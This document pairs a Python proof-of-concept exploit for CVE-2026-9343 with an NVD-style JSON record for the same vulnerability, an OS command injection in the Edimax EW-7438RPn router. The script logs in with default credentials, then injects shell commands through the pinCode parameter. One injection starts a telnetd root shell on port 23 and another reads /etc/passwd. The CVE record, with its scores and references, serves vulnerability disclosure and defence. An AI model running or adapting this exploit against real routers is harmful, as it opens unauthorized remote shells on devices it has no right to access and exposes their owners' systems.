CVE-2026-9343

import requests # CVE-2026-9343 PoC - Edimax EW-7438RPn OS Command Injection # Target: /goform/formWpsStart endpoint # Vulnerable Parameter: pinCode target_ip = "192.168.0.1" # Edimax EW-7438RPn default IP target_port = 80 # Authentication credentials (low privilege sufficient) username = "admin" password = "1234" # Construct login session session = requests.Session() login_url = f"http://{target_ip}:{target_port}/login.cgi" login_data = { "username": username, "password": password } # Login to obtain session cookie session.post(login_url, data=login_data) # PoC: OS Command Injection via pinCode parameter # Inject command to create reverse shell or execute arbitrary command poc_url = f"http://{target_ip}:{target_port}/goform/formWpsStart" # Example: Inject command to enable telnetd for remote access payload = { "pinCode": "1234;telnetd -p 23 -l /bin/sh" } response = session.post(poc_url, data=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Alternative: Extract sensitive information payload_info = { "pinCode": "1234;cat /etc/passwd" } response2 = session.post(poc_url, data=payload_info) print(f"Extracted /etc/passwd:\n{response2.text}")

{"cve": {"id": "CVE-2026-9343", "sourceIdentifier": "[email protected]", "published": "2026-05-23T23:16:45.300", "lastModified": "2026-05-26T19:37:00.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Edimax EW-7438RPn up to 1.31. The affected element is the function formWpsStart of the file /goform/formWpsStart of the component webs. This manipulation of the argument pinCode causes os command injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_1/1.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811551", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813884", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365306", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365306/cti", "source": "[email protected]"}]}}